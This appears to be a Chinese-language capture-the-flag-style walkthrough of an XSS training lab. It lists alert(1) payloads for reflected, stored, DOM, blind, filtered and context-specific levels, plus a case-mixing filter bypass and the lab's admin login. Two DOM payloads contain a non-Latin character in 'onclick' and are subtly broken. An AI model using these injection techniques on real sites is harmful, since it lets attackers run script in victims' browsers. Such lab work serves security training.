Cross-Site Scripting
反射型xss(get)
-
输出点
-
构造payload
发现输入框限制了长度,通过F12修改
maxlength
属性<script>alert(1)</script>
反射性xss(post)
-
输出点
这里需要先登录,我也是看了半天才看见提示的 admin 123456
-
构造payload
<script>alert(1)</script>
存储型xss
-
输出点
-
构造payload
<script>alert(1)</script>
DOM型xss
-
输出点
-
构造payload
#' οnclick='alert(1)
DOM型xss-x
-
输出点
这里输入后要先点击一下”有些费尽心机想要忘记的事情,后来真的就忘掉了”这句话
-
构造payload
a' οnclick='alert(1)
xss盲打
-
输出点
根据提示来到
/xssblind/admin_login.php
目录下 使用前面关卡的账户密码登录 admin 123456登录后发现我们刚才写的留言和内容会显示在页面上
-
构造payload
输入payload后刷新
/xssblind/admin_login.php
页面会发现注入成功<script>alert(1)</script>
xss之过滤
-
输出点
-
构造payload
会发现有很多标签都被过滤,使用大小写绕过
<sCript>alert(1)</scrIpt>
xss之htmlspecialchars
-
输出点
htmlspecialchars()是把预定义的字符转换为 HTML 实体。
-
构造payload
1' onclick='alert(1)
xss之href输出
-
输出点
-
构造payload
javascript:alert(1)
xss之js输出
-
输出点
查看页面源代码,可以发现我们输入的值被放在了
<script>
标签中,可以对此进行利用 -
构造payload
1';alert(1);'